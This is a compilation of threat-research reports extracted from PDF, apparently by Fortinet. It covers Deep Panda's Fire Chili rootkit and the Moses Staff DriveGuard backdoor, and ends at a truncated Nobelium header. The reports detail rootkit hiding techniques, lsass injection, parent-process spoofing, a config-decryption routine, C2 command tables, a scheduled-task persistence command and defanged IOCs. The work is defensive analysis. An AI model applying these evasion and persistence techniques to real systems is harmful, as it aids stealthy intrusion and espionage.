+ C:\Windows\system32\drivers\crtsys.sys
+The payloads above are stored XOR-encrypted and LZMA-compressed. The XOR key is a hardcoded
+DWORD that changes between samples.
+The dropper carries two builds of the driver for 32-bit and 64-bit systems. Using the Service Control
+Manager (SCM) API, it installs the build compliant with the operating system architecture as a driver
+named FSFilter-Min.
+The dropper patches the .data section of the loader binary to add its configuration before it writes it to
+disk. Next, the dropper executes syn.exe, a benign executable signed by Synaptics, in order to side-load
+the newdev.dll loader module.
+The loader also contains a XOR-encrypted and LZMA-compressed payload, which is a Milestone
+backdoor. It decrypts the configuration with XOR 0xCC and, like the dropper, patches the backdoor
+.data section with it. The configuration contains the backdoor
+s version, C2 server address and service
+parameters.
+Finally, the loader reflectively loads the Milestone backdoor and calls its exports.
+4/16
+Figure 7: Example of a decrypted configuration
+Fire Chili Rootkit
+As part of our research, we have collected four driver samples 
+ two pairs of 32-bit and 64-bit samples.
+One pair was compiled in early August 2017 and the second pair was compiled ten days later. All four
+driver samples are digitally signed with stolen certificates from game development companies, either the
+US-based Frostburn Studios or the Korean 433CCR Company (433
+). The signatures
+made with Frostburn Studios
+ certificate are even timestamped.
+Figure 8: Digital signature of a crtsys.sys driver
+Two of the samples are on VirusTotal and have a very low detection rate.
+5/16
+Figure 9: Detection rates of the rootkit samples from VirusTotal
+The rootkit starts by ensuring the victim machine is not running in safe mode. It then checks the
+operating system version. The rootkit uses Direct Kernel Object Modification (DKOM), which involves
+undocumented kernel structures and objects, for its operations. For this reason, it relies on specific OS
+builds as otherwise it may cause the infected machine to crash. In general, the latest supported build is
+Windows 10 Creators Update (Redstone 2), released in April 2017.
+The purpose of the driver is to hide and protect malicious artifacts from user-mode components. This
+includes four aspects: files, processes, registry keys and network connections. The driver has four global
+lists, one for each aspect, that contain the artifacts to hide. The driver
+s IOCTLs allow dynamic
+configuration of the lists through its control device \Device\crtsys. As such, the dropper uses these
+IOCTLs to hide the driver
+s registry key, the loader and backdoor files, and the loader process.
+IOCTL
+Action
+Description
+0xF3060000
+Hide file
+Add a path to global file list
+0xF3060004
+Stop hiding file
+Remove a path from global file list
+0xF3060008
+Hide\protect process
+Add a file path or PID to global process list
+0xF306000C
+Stop hiding\protecting process
+Remove a file path or PID from global process list
+6/16
+0xF3060010
+Hide registry key
+Add a key to global registry list
+0xF3060014
+Stop hiding registry key
+Remove a key from global registry list
+0xF3060018
+Hide network connections
+Add a file path or port number to global network list
+0xF306001C
+Stop hiding network
+connections
+Remove a file path or port number from global
+network list
+Files
+The rootkit implements a filesystem minifilter using code based on Microsoft
+s official driver code
+samples. Prior to registering the minifilter instance, it dynamically creates an instance in the registry
+named Sfdev32TopInstance with altitude 483601.
+The rootkit sets only one callback for a postoperation routine for IRP_MJ_DIRECTORY_CONTROL.
+When it receives an IRP with a minor function of IRP_MN_QUERY_DIRECTORY and a filename from
+the global file list, the callback changes the filename to 
+ and the filename length to 0 (in the
+FILE_BOTH_DIR_INFORMATION structure).
+The global file list is initialized with the path of the driver by default
+(*\SYSTEM32\DRIVERS\CRTSYS.SYS).
+Processes
+There are two mechanisms pertaining to processes:
+Preventing process termination.
+Hiding a process.
+To prevent the termination of a process, the rootkit denies the PROCESS_TERMINATE access right of
+the processes it protects. Using ObRegisterCallbacks, it registers a preoperation callback routine that
+triggers whenever a handle to a process or thread is created or duplicated in the system. When the handle
+access originates from user-mode and the image path or PID of the handle target are in the global
+process list, the driver removes the PROCESS_TERMINATE permission from the DesiredAccess
+parameter. This results in restricting user-mode processes from acquiring the permissions needed to
+terminate the threat actor
+s malicious processes using standard APIs.
+7/16
+Figure 10: Unsetting the PROCESS_TERMINATE bit of DesiredAccess
+To hide a process, the rootkit monitors all newly created processes on the system by registering a callback
+using the PsSetCreateProcessNotifyRoutine API. Whenever a new process is created on the system, the
+rootkit checks if its path is in the global process list. If so, the process is removed from the
+ActiveProcessLinks list of the EPROCESS structure, which is a circular doubly-linked list of all running
+processes on the system. The driver removes the process
+s list entry from ActiveProcessLinks by linking
+its Flink (the next entry) to its Blink (the previous entry). As a result, the process is hidden from utilities
+such as Task Manager.
+Figure 11: Removing a process from ActiveProcessLinks
+Since the EPROCESS structure changes between Windows builds, the rootkit resolves the
+ActiveProcessLinks offset dynamically during runtime. It traverses the process
+s EPROCESS structure,
+comparing each member to its PID, to locate the offset of the UniqueProcessId field. When found, the
+8/16
+ActiveProcessLinks offset is also easily located as it is the next field in the EPROCESS structure. The
+older rootkit samples use the hiding mechanism on Windows 8 and below, while the newer samples use
+it on only Windows 7 and below.
+By default, the global process list is initialized with the path *\qwerty.exe. However, we have not
+observed any file with this name related to the campaign.
+Registry Keys
+The rootkit hides registry keys from users using Microsoft
+s Registry Editor. The code is based on an
+open-source project published by a Chinese developer.
+The HHIVE->GetCellRoutine functions of keys in the global registry keys list are replaced with a filter
+function. When the path of the querying process is *\WINDOWS\REGEDIT.EXE, the function simply
+returns 0 in place of the key node.
+By default, the global registry list is initialized with the rootkit
+s registry key
+(\REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\CRTSYS).
+Network Connections
+The rootkit is capable of hiding TCP connections from tools such as netstat. Much of the code for this
+part seems to be copied from an open-source project.
+The rootkit attaches to nsiproxy.sys
+s device stack and intercepts IOCTLs of type
+IOCTL_NSI_GETALLPARAM (0x12000B) that are sent to it. This IOCTL is used to retrieve information
+about the active network connections on the system. When it is intercepted, the driver replaces the
+IoCompletion routine with a function that filters the results to hide its own network connections.
+IOCTL_NSI_GETALLPARAM returns the information about network connections in an NSI_PARAM
+structure. NSI_PARAM contains connection data such as IP, port, connection state, and process IDs of
+the executables in charge of creating the connection. The filter function iterates this structure, searching
+for connections involving a process or port number from its global network list. All identified
+connections are removed from the structure, rendering them hidden from the process that sent the
+IOCTL. It is interesting to note that the newer build of the 64-bit rootkit added support to filter IOCTLs
+from 32-bit processes as well.
+If attaching to nsiproxy.sys fails, the rootkit attaches to \Device\Tcp instead, intercepting
+IOCTL_TCP_QUERY_INFORMATION_EX (0x120003) and hiding network connections in a similar
+manner.
+By default, the global network list is initialized with the following process paths:
+*\SYN.EXE
+*\SVCHOST.EXE
+As a result, TCP connections of all services running under svchost.exe are hidden, not just the ones of the
+Milestone backdoor.
+Attribution
+9/16
+The Milestone backdoor is actually the same Infoadmin RAT that was used by Deep Panda back in the
+early 2010s, referenced in blogs from 2013 and 2015. Although many backdoors are based on Gh0st RAT
+code, Milestone and Infoadmin are distinguishable from the rest. Besides having profoundly similar
+code, both backdoors incorporate identical modifications of Gh0st RAT code not seen in other variants.
+Both backdoors share a XOR encryption function for encrypting communication and have abandoned the
+zlib compression of the original Gh0st RAT. Both also modified Gh0st RAT code in an identical way,
+specifically the CMD and screen capture functions. Moreover, the backdoors share two commands that
+are not present in other Gh0st RAT variants: the session enumeration command and the command to
+execute as an administrative user.
+Additional evidence indicates affiliation to Winnti. The rootkits are digitally signed with certificates
+stolen from game development companies, which is a known characteristic of Winnti. Searching for more
+files signed with one of the certificates led to a malicious DLL uploaded to VirusTotal with the name
+winmm.dll. Further examination revealed it as the same tool referenced in a blog about Winnti that was
+published in 2013. Yet another connection to Winnti is based on a C2 domain. Two of the newdev.dll
+loaders are configured with the server gnisoft[.]com, which was attributed to Winnti in 2020.
+Conclusion
+In this blog, we have attributed a series of opportunistic Log4Shell infections from the past month to
+Deep Panda. Though previous technical publications on Deep Panda were published more than half a
+decade ago, this blog also relates to a more recent report about the Milestone backdoor, which shows that
+their operations have continued throughout all these years.
+Furthermore, we introduced the previously unknown Fire Chili rootkit and two compromised digital
+signatures, one of which we also directly linked to Winnti. Although both Deep Panda and Winnti are
+known to use rootkits as part of their toolset, Fire Chili is a novel strain with a unique code base different
+from the ones previously affiliated with the groups.
+The reason these tools are linked to two different groups is unclear at this time. It
+s possible that the
+groups
+ developers shared resources, such as stolen certificates and C2 infrastructure, with each other.
+This may explain why the samples were only signed several hours after being compiled.
+Fortinet Solutions
+FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or special
+configuration. It does this using its post-execution prevention engine to identify malicious activities:
+Figure 12: FortiEDR blocking communication for download & execute after Log4Shell exploitation
+10/16
+Figure 13: FortiEDR blocking the backdoor from communicating with the C2 post-infection
+All network IOCs have been added to the FortiGuard WebFiltering blocklist.
+The FortiGuard Antivirus service engine is included in Fortinet
+s FortiGate, FortiMail, FortiClient, and
+FortiEDR solutions. FortiGuard Antivirus has coverage in place as follows:
+W32/Themida.ICD!tr
+BAT/Agent.6057!tr
+W64/Agent.A10B!tr
+W32/Agent.0B37!tr
+W32/GenKryptik.FQLT!tr
+W32/Generic.AC.F834B!tr
+W32/GenKryptik.ATCY!tr
+W32/Generic.AP.33C2D2!tr
+W32/GenKryptik.AQZZ!tr
+W32/Generic.HCRGEJT!tr
+W32/Agent.DKR!tr
+W32/Agent.QNP!tr
+W32/Agent.RXT!tr
+W32/Agentb.BXIQ!tr
+W32/Agent.DA3E!tr
+W32/Agent.D584!tr
+W32/Agent.0F09!tr
+W32/Agent.3385!tr
+W64/Agent.D87B!tr.rkit
+W32/Agent.69C1!tr.rkit
+In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in
+real-time with other Alliance members to help create better protections for customers.
+Appendix A: MITRE ATT&CK Techniques
+Description
+T1190
+Exploit Public-Facing Application
+T1569.002
+System Services: Service Execution
+T1059.001
+Command and Scripting Interpreter: PowerShell
+11/16
+T1027
+Obfuscated Files or Information: Software Packing
+T1041
+Exfiltration Over C2 Channel
+T1082
+System Information Discovery
+T1036
+Masquerading
+T1083
+File and Directory Discovery
+T1059.003
+Command and Scripting Interpreter: Windows Command Shell
+T1592
+Gather Victim Host Information
+T1588.003
+Obtain Capabilities: Code Signing Certificates
+T1014
+Rootkit
+T1574.002
+Hijack Execution Flow: DLL Side-Loading
+T1620
+Reflective Code Loading
+T1113
+Screen Capture
+Appendix B: IOCs
+Type
+Details
+ece45c25d47ba362d542cd0427775e68396bbbd72fef39823826690b82216c69
+SHA256
+Backdoor
+517c1baf108461c975e988f3e89d4e95a92a40bd1268cdac385951af791947ba
+SHA256
+Backdoor
+a573a413cbb1694d985376788d42ab2b342e6ce94dd1599602b73f5cca695d8f
+SHA256
+Backdoor
+9eeec764e77bec58d366c2efc3817ed56371e4b308e94ad04a6d6307f2e12eda
+SHA256
+Backdoor
+d005a8cf301819a46ecbb1d1e5db0bf87951808d141ada5e13ffc4b68155a112
+SHA256
+Backdoor
+69c69d71a7e334f8ef9d47e7b32d701a0ecd22ce79e0c11dabbc837c9e0fedc2
+SHA256
+Backdoor
+12/16
+dfd2409f2b0f403e82252b48a84ff4d7bc3ebc1392226a9a067adc4791a26ee7
+SHA256
+Backdoor
+07c87d036ab5dca9947c20b7eb7d15c9434bb9f125ac564986b33f6c9204ab47
+SHA256
+Backdoor
+c0a2a3708516a321ad2fd68400bef6a3b302af54d6533b5cce6c67b4e13b87d3
+SHA256
+Backdoor
+f8b581393849be5fc4cea22a9ab6849295d9230a429822ceb4b8ee12b1d24683
+SHA256
+Backdoor
+14930488158df5fca4cba80b1089f41dc296e19bebf41e2ff6e5b32770ac0f1e
+SHA256
+Backdoor
+a9fa8e8609872cdcea241e3aab726b02b124c82de4c77ad3c3722d7c6b93b9b5
+SHA256
+Backdoor
+e92d4e58dfae7c1aadeef42056d5e2e5002814ee3b9b5ab1a48229bf00f3ade6
+SHA256
+Backdoor
+855449914f8ecd7371bf9e155f9a97969fee0655db5cf9418583e1d98f1adf14
+SHA256
+Backdoor
+a5fd7e68970e79f1a5514630928fde1ef9f2da197a12a57049dece9c7451ed7b
+SHA256
+Backdoor
+f5eb8949e39c8d3d70ff654a004bc8388eb0dd13ccb9d9958fd25aee47c1d3ae
+SHA256
+Backdoor
+64255ff02e774588995b203d556c9fa9e2c22a978aec02ff7dea372983b47d38
+SHA256
+Backdoor
+b598cb6ba7c99dcf6040f7073fe313e648db9dd2f6e71cba89790cc45c8c9026
+SHA256
+Backdoor
+2d252c51a29f86032421df82524c6161c7a63876c4dc20faffa47929ec8a9d60
+SHA256
+Backdoor
+2de6fb71c1d5ba0cd8d321546c04eaddddbf4a00ce4ef6ca6b7974a2a734a147
+SHA256
+Backdoor
+bd5d730bd204abaddc8db55900f307ff62eaf71c0dc30cebad403f7ce2737b5c
+SHA256
+Backdoor
+412464b25bf136c3780aff5a5a67d9390a0d6a6f852aea0957263fc41e266c8b
+SHA256
+Backdoor
+0d096d983d013897dbe69f3dae54a5f2ada8090b886ab68b74aa18277de03052
+SHA256
+Backdoor
+cfba16fa9aa7fdc7b744b2832ef65558d8d9934171f0d6e902e7a423d800b50f
+SHA256
+Backdoor
+a71b3f06bf87b40b1559fa1d5a8cc3eab4217f317858bce823dd36302412dabc
+SHA256
+Backdoor
+235044f58c801955ed496f8c84712fdb353fdd9b6fda91886262234bdb710614
+SHA256
+Backdoor
+13/16
+e1a51320c982179affb26f417fbbba7e259f819a2721ab9eb0f6d665b6ea1625
+SHA256
+Backdoor
+d1be98177f8ae2c64659396277e7d5c8b7dba662867697feb35282149e3f3cbb
+SHA256
+Backdoor
+ab3470a45ec0185ca1f31291f69282c4a188a46e
+SHA1
+Backdoor
+10de515de5c970385cd946dfda334bc10a7b2d65
+SHA1
+Backdoor
+eb231f08cce1de3e0b10b69d597b865a7ebac4b3
+SHA1
+Backdoor
+66c3dfcb2cc0dfb60e40115e08fc293276e915c2536de9ed6a374481279b852b
+SHA256
+Loader
+73640e8984ad5e5d9a1fd3eee39ccb4cc695c9e3f109b2479296d973a5a494b6
+SHA256
+Loader
+7777bd2bdeff2fd34a745c350659ee24e330b01bcd2ee56d801d5fc2aceb858c
+SHA256
+Loader
+8bf4e301538805b98bdf09fb73e3e370276a252d132e712eae143ab58899763e
+SHA256
+Loader
+18b2e1c52d0245824a5bac2182de38efb3f82399b573063703c0a64252a5c949
+SHA256
+Loader
+d5c1a2ca8d544bedb0d1523db8eeb33f0b065966f451604ff4715f600994bc47
+SHA256
+0939b68af0c8ee28ed66e2d4f7ee6352c06bda336ccc43775fb6be31541c6057
+SHA256
+0595a719e7ffa77f17ac254134dba2c3e47d8c9c3968cda69c59c6b021421645
+SHA256
+Dropper
+7782fdc84772c6c5c505098707ced6a17e74311fd5c2e2622fbc629b4df1d798
+SHA256
+Dropper
+18751e47648e0713345552d47752209cbae50fac07895fc7dd1363bbb089a10b
+SHA256
+Driver 64bit
+e4e4ff9ee61a1d42dbc1ddf9b87223393c5fbb5d3a3b849b4ea7a1ddf8acd87b
+SHA256
+Driver 64bit
+395dbe0f7f90f0ad55e8fb894d19a7cc75305a3d7c159ac6a0929921726069c1
+SHA256
+Driver 32bit
+befc197bceb3bd14f44d86ff41967f4e4c6412604ec67de481a5e226f8be0b37
+SHA256
+Driver 32bit
+14/16
+1c617fd9dfc068454e94a778f2baec389f534ce0faf786c7e24db7e10093e4fb
+SHA256
+Legitimate
+Synaptics
+Setup.exe
+bde7b9832a8b2ed6d33eb33dae7c5222581a0163c1672d348b0444b516690f09
+SHA256
+syn.exe
+8b88fe32bd38c3415115592cc028ddaa66dbf3fe024352f9bd16aed60fd5da3e
+SHA256
+syn.exe
+ba763935528bdb0cc6d998747a17ae92783e5e8451a16569bc053379b1263385
+SHA256
+syn.exe
+9908cb217080085e3467f5cedeef26a10aaa13a1b0c6ce2825a0c4912811d584
+SHA256
+syn.exe
+c6bcde5e8185fa9317c17156405c9e2c1f1887d165f81e31e24976411af95722
+SHA256
+winmm.dll
+3403923f1a151466a81c2c7a1fda617b7fbb43b1b8b0325e26e30ed06b6eb936
+SHA256
+Backdoor
+9BCD82563C72E6F72ADFF76BD8C6940C6037516A
+Certificate
+thumbprint
+2A89C5FD0C23B8AF622F0E91939B486E9DB7FAEF
+Certificate
+thumbprint
+192.95.36[.]61
+Network
+vpn2.smi1egate[.]com
+Network
+svn1.smi1egate[.]com
+Network
+giga.gnisoft[.]com
+Network
+giga.gnisoft[.]com
+Network
+104.223.34[.]198
+Network
+103.224.80[.]76
+Network
+hxxp://104.223.34[.]198/111.php
+Network
+hxxp://104.223.34[.]198/1dll.php
+Network
+hxxp://104.223.34[.]198/syn.php
+Network
+15/16
+hxxp://104.223.34[.]198/p.txt
+Network
+msupdate2
+Service
+name
+WebService
+Service
+name
+Service
+name
+msupdate
+Service
+name
+msupdateday
+Service
+name
+DigaTrack
+Service
+name
+crtsys.sys
+File name
+%APPDATA%\syn.exe
+File name
+%APPDATA%\newdev.dll
+File name
+Learn more about Fortinet
+s FortiGuard Labs threat research and intelligence organization and the
+FortiGuard Security Subscriptions and Services portfolio.
+16/16
+Guard Your Drive from DriveGuard: Moses Staff
+Campaigns Against Israeli Organizations Span Several
+Months
+fortinet.com/blog/threat-research/guard-your-drive-from-driveguard
+February 15, 2022
+FortiGuard Labs Research
+Affected Platforms: Windows
+Impacted Users: Windows Users
+Impact: Data theft and execution of additional malicious payloads
+Severity Level: Critical
+Over the past year, FortiEDR has prevented multiple attacks that attempted to exploit
+various Microsoft Exchange server vulnerabilities, some of which we have previously
+covered.
+Among these attacks, we identified a campaign operated by Moses Staff, a geo-political
+motivated threat group believed to be sponsored by the Iranian government. After tracking
+this campaign for the last several months we found that the group has been using a custom
+multi-component toolset for the purpose of conducting espionage against its victims.
+This campaign exclusively targets Israeli organizations. Close examination reveals that the
+group has been active for over a year, much earlier than the group
+s first official public
+exposure, managing to stay under the radar with an extremely low detection rate.
+In this blog, we will cover the Techniques, Tactics, and Procedures (TTPs) used by Moses
+Staff and reveal a new backdoor used by them to download files, execute payloads, and
+exfiltrate data from target networks, along with threat intelligence data on their activities.
+Infection Vector
+The initial infiltration was accomplished by leveraging the ProxyShell exploit in Microsoft
+Exchange servers to allow an unauthenticated attacker to execute arbitrary commands on
+them through an exposed HTTP\S port. As a result, the attackers were able to deploy two
+web shells:
+C:/inetpub/wwwroot/aspnet_client/system_web/iispool.aspx
+C:/inetpub/wwwroot/aspnet_client/system_web/map.aspx
+1/15
+These two web shells are used in conjunction with one another, and some of their
+functionalities overlap. On numerous occasions, map.aspx was used to validate the results of
+the commands executed by iispool.aspx.
+Post infection, the attackers dedicated several days to the exfiltration of PST files and other
+sensitive data from the compromised server. Next, they attempted to steal credentials by
+creating a memory dump of lsass.exe using a LOLBin. Finally, the attackers dropped and
+installed the backdoor components.
+Figure 1: Command line for dumping memory for lsass.exe
+Execution Chain
+The loader resides in C:\Windows\System32\drvguard.exe. When executed with the 
+command-line argument, it installs itself as a service named DriveGuard.
+Figure 2: DriveGuard service properties
+The loader is responsible for executing the backdoor component and then monitoring its
+process, executing it whenever it has stopped. In addition, it launches a watchdog
+mechanism that ensures its own service is never stopped. The following flow chart illustrates
+the described process:
+2/15
+Figure 3: Loading mechanism flow
+If the backdoor does not exist on the disk, the loader creates it by reading the content of
+C:\Windows\System32\rsc.dat and restoring its DOS header magic value to 4D 5A 90. The
+valid executable is written to disk at C:\Windows\System32\broker.exe
+3/15
+Figure 4: rsc.dat 
+ the backdoor without magic bytes in the header
+The next step is to execute the backdoor. When doing so, the loader attempts to spoof the
+backdoor
+s parent process to be svchost.exe. This is achieved via calling CreateProcess and
+setting the parent process attribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)
+to the first svchost.exe process found in the system. Parent process spoofing may aid in the
+evasion of security products. Generally, this method may also be used for gaining SYSTEM
+privileges, but in our case, the loader is already running as a system service. If the spoofing
+fails, the loader will run the backdoor without it.
+The backdoor is executed with the command-line argument 
+-ser
+Service Watchdog
+The loader also sets a watchdog to ensure it remains operational. The watchdog module,
+lic.dll, is injected to a newly spawned lsass.exe process.
+The injection is implemented in inj.dll, which uses VirtualAllocEx and SetThreadContext to
+run shellcode in the target process. The shellcode loads a DLL and then jumps back to the
+previous instruction pointer of the thread.
+Subsequently, lic.dll begins to monitor the DriveGuard service, restarting it whenever it has
+stopped. In addition, it ensures that the DriveGuard service is always configured to start
+automatically on system startup.
+Figure 5: The shellcode injected by inj.dll into lsass.exe
+Broker Backdoor
+The backdoor component oversees receiving and executing commands from the C2 server. It
+runs only if it receives the command-line argument 
+-ser
+. Otherwise, it triggers a divide-byzero exception. This is most likely an attempt to thwart dynamic analysis by automatic
+security products such as sandboxes.
+To ensure that only one instance of the backdoor is running on the system, it creates an event
+called 
+Program event
+4/15
+Figure 6: Event created by the backdoor
+Configuration
+The backdoor
+s configuration is stored encrypted in a file at
+C:\Users\Public\Libraries\cfg.dat. The encryption scheme used is XOR-based and can be
+decrypted by the following Python code. The hardcoded key is consistent throughout all the
+samples in our possession.
+5/15
+def decrypt(encrypted):
+key = '9c4arSBr32g6IOni'
+result = ''
+for i in range(len(encrypted)):
+key_char = ord(key[i%16]) + 4
+enc_char = encrypted[i]
+result_char = (key_char ^ enc_char) + 4
+result += chr(result_char)
+return result
+Figure 7: Python implementation of the decryption routine for the configuration file
+The decrypted configuration contains two sets of C2 and URI addresses, alongside a time
+interval, in seconds, that determines the frequency at which to contact the server. A random
+value between 0 and 2 seconds is added to the interval to cause jitter.
+If the configuration file does not exist, the malware uses plaintext configuration values
+hardcoded in the executable. In our samples, these values are identical to the ones in the
+configuration file.
+Figure 8: Decrypted backdoor configuration
+Communicate Your 
+Boundries
+The main part of the malware oversees communication with the server, parsing its responses
+and executing commands. The backdoor first sends a POST request, as can be seen in figure
+9, to the first configured server. It alternates between contacting the two servers depending
+on their status, switching between them when they are unresponsive or return empty replies.
+6/15
+Figure 9: HTTP POST request sent by the backdoor to the C2
+The request looks like encoded HTML form data that is delimited by a boundary value which
+appears to contain a misspelled "BoundrySign" string. The noteworthy fields in the request
+are token and data .
+The data field contains information about the infected machine. The machine time zone has
+been chosen by the attackers for the purpose of regional attribution. This string is encrypted
+with the same algorithm and key that were used to encrypt the configuration file.
+7/15
+Figure 10: Format of victim information sent to the C2
+Interestingly, the malware fails to retrieve the correct OS version due to usage of the
+deprecated GetVersionEx API, which causes executables without updated manifests to
+invariably return the Windows 8 value while actually running on a newer operating system.
+The token field is comprised of the hostname, username, and an ID. The hostname and
+username are encrypted with a ROT5 Caesar cipher, meaning that 5 is added to each
+character
+s ascii value. The encrypted result is then appended to the ID.
+Figure 11: Format of unique identifier sent to the C2
+The ID is hardcoded in the binary and is a distinctive identifier of a specific target
+organization. Namely, backdoor binaries are specially compiled per target before they are
+deployed by the threat actor.
+The backdoor continually queries the server for commands. In the event of five consecutive
+unsuccessful queries, the backdoor will switch to contacting the backup server. An
+unsuccessful query is considered to be one of the following:
+The server is unresponsive.
+The parsed response starts with the byte 0xA.
+The parsed response is empty.
+The server response is parsed until the first 
+ character and everything after is disregarded.
+If the response lacks a 
+ it is treated as an empty response.
+If the parsed server response is 
+, the backdoor will continue to query the same server
+without switching to the backup server. Any other response is treated as a command. As
+such, it is decrypted with the same algorithm and key as specified previously. If the decrypted
+response data is self, the backdoor stops executing. Otherwise, it proceeds to parse the
+decrypted data as a command with the following format:
+Figure 12: Format of commands sent by the C2
+8/15
+Type 
+ The command type. This can be one of the values from the 
+Type
+ column in the
+Commands table.
+Arg1
+Arg4 
+ The command arguments. Not all arguments are provided for every
+command, in which case their value will be the string 
+null
+ A unique identifier. This ID is sent to the server alongside the command results to
+associate the results with the executed command.
+Supported Commands
+The following is a list of the commands that the backdoor may receive from the server.
+Several commands involve downloading additional DLLs from the server and executing
+them. The functionality of these modules is unknown at this time.
+Type
+Description
+Directory listing (recursive).
+Execute command line.
+Upload a file from the disk to the C2.
+Download a file from the C2 and save to the disk.
+Download a DLL from the C2 and execute it using LoadLibrary, calling its
+mainfunc
+ export.
+Download a DLL from the C2 and execute it using LoadLibrary, calling its
+mkb64
+ export.
+Download a DLL from the C2 and execute it using LoadLibrary, calling its
+mkb64
+ export.
+Update the interval field in the configuration.
+Delete the malware from the disk using a CMD command.
+This may potentially be used in conjunction with the self command for complete
+self-destruction.
+Update the tool by running CMD commands to replace the current module on the
+disk with a file received from the C2.
+9/15
+Update the C2 and URI fields in the configuration.
+inf*
+Send the configuration content and the malware
+s filename to the C2.
+cmprs*
+7-zip compress using ar.dll and ar.dat utilities. If they are not present on the disk,
+the tool downloads them from the C2.
+sc**
+Capture a screenshot, saving it to C:\Users\Public\Libraries\tmp.bin before
+sending it unencrypted to the C2.
+kl**
+The command name and its operation imply keylogger functionality.
+The first time this command is received, the malware will download a DLL from
+the C2 and execute it using LoadLibrary, calling its 
+strt
+ export. Upon
+subsequent receipts of this command, the contents of
+C:\Users\Public\Libraries\async.dat will be sent to the C2.
+This DLL most likely writes its output to that file. However, as it is not in our
+possession, we cannot confirm this.
+au**
+Establish scheduled task persistence for itself using the following command:
+SCHTASKS /CREATE /TN "Mozilla\Firefox Default Browser Agent
+409046Z0FF4A39CB" /ST 11:00 /F /SC DAILY /TR
+<CURRENT_EXECUTABLE>
+Figure 13: List of supported commands
+* Command present in the newer versions only
+** Command present in the older versions only
+History of Operations
+Using Yara rules in VirusTotal
+s retrohunt engine we detected two older samples of the
+backdoor. Both samples were uploaded around the end of December 2020, which leads us to
+believe that this campaign has been operating for at least a year. Until recently, they have
+been flying under the radar with a very low detection rate.
+10/15
+Figure 14: VirusTotal entries of the older backdoor versions
+The most notable differences between the versions are the configuration file and the
+commands.
+In lieu of a configuration file, the older variants exclusively use values hardcoded in the
+binary. In terms of commands, a few modifications have taken place in between the versions.
+As can be seen in figure 13, various new commands have been added to the latest samples,
+while other commands have been eliminated. Although commands were removed, we assess
+that the code might have been moved to one of the modules that can be fetched from the
+server.
+Certain modifications may aim to improve covertness and hinder detection. For example, the
+older samples were able to receive the 
+ command to register a scheduled task using a
+command-line that was hardcoded in the binary. On the other hand, in recent attacks, we
+observed task registration via a scheduled task XML file that was dropped by the backdoor.
+The last minor difference between versions is the name of the event. Older versions created
+an event called 
+program Event
+. This capitalization error was corrected in the recent
+versions.
+Searching for the C2 addresses in FortiGuard Labs
+ threat intelligence systems shows a large
+spike in traffic volume during April 2021. This indicates that the group was operational long
+before their initial public exposure. All the network traffic to the malicious servers originated
+from Israeli IP addresses
+Figure 15: FortiGuard Labs' historical data for C2 IP address
+11/15
+Figure 16: FortiGuard Labs
+ historical data for C2 domain name
+During our investigations, we were able to take over and sinkhole the techzenspace[.]com
+domain in the beginning of January 2022. This was done to try and prevent the backdoor
+from operating for the near future while attempting to identity additional infected
+organizations that are not Fortinet customers.
+Attribution
+We were able to attribute the iispool.aspx web shell to the Moses Staff group based on past
+research. Both the web shell path and its code are identical to the ones previously reported.
+Another recent publication referenced in the previous section reaffirms our attribution.
+All victims are Israeli organizations belonging to various industries. Although the attacks we
+identified did not reach a destructive stage, we can
+t rule out the possibility that the backdoor
+is used before that to exfiltrate data from target networks.
+Conclusion
+We have been monitoring Moses Staff operations closely these past few months. We have
+analyzed new TTPs and attributed a new set of tools to the group, including a backdoor, a
+loader and a web shell.
+The group is highly motivated, capable, and set on damaging Israeli entities. While they have
+been operating continuously and vigorously since late 2020, they were only publicly
+acknowledged about a year after. At this point, they continue to depend on 1-day exploits for
+their initial intrusion phase.
+Although the attacks we identified were carried out for espionage purposes, this does not
+negate the possibility that the operators will later turn to destructive measures. We believe
+that ransomware or wipers may have not been deployed because FortiEDR blocked earlier
+stages of the attack.
+Fortinet Protections
+FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or
+special configuration. It does this using its post-execution prevention engine to identify
+malicious activities:
+12/15
+Figure 17: FortiEDR blocking the memory dumping attempt of lsass.exe
+Figure 18: FortiEDR blocking the backdoor communication
+All network IOCs have been added to the FortiGuard WebFiltering blocklist.
+The FortiGuard AntiVirus service engine is included in
+Fortinet
+s FortiGate, FortiMail, FortiClient, and FortiEDR solutions. FortiGuard
+AntiVirus has coverage in place as follows:
+ASP/Webshell.DW!tr
+W64/Agent.AVV!tr
+W32/Agent.UWN!tr
+W32/Agent.UYS!tr
+W64/Agent.AVS!tr
+W64/Agent.AVU!tr
+In addition, as part of our membership in the Cyber Threat Alliance, details of this threat
+were shared in real time with other Alliance members to help create better protections for
+customers.
+Appendix A 
+ MITRE ATT&CK Techniques
+Description
+T1190
+Exploit Public-Facing Application
+T1505.003
+Server Software Component: Web Shell
+T1083
+File and Directory Discovery
+T1003.001
+OS Credential Dumping: LSASS Memory
+T1005
+Data from Local System
+T1114
+Email Collection
+13/15
+T1569.002
+System Services: Service Execution
+T1480
+Execution Guardrails
+T1134.004
+Access Token Manipulation: Parent PID Spoofing
+T1055
+Process Injection
+T1140
+Deobfuscate/Decode Files or Information
+T1071.001
+Application Layer Protocol: Web Protocols
+T1082
+System Information Discovery
+T1033
+System Owner/User Discovery
+T1573.001
+Encrypted Channel: Symmetric Cryptography
+T1008
+Fallback Channels
+T1059.003
+Command and Scripting Interpreter: Windows Command Shell
+T1113
+Screen Capture
+T1053.005
+Scheduled Task/Job: Scheduled Task
+T1041
+Exfiltration Over C2 Channel
+Appendix B: IOCs
+File Hashes (SHA256)
+2ac7df27bbb911f8aa52efcf67c5dc0e869fcd31ff79e86b6bd72063992ea8ad (map.aspx)
+ff15558085d30f38bc6fd915ab3386b59ee5bb655cbccbeb75d021fdd1fde3ac (agent4.exe)
+cafa8038ea7e46860c805da5c8c1aa38da070fa7d540f4b41d5e7391aa9a8079 (calc.exe)
+14/15
+File Names
+iispool.aspx
+map.aspx
+drvguard.exe
+agent4.exe
+calc.exe
+inj.dll
+lic.dll
+Event Names
+program Event
+Program event
+87.120.8[.]210
+Domains
+techzenspace[.]com
+URLs
+hxxp://87.120.8.210:80/RVP/index3.php
+hxxp://techzenspace.com:80/RVP/index8.php
+Learn more about Fortinet
+s FortiGuard Labs.
+15/15
+Nobelium Returns to the Political World Stage
+fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage
+February 24, 2022
+FortiGuard Labs Research
+Affected Platforms: Windows
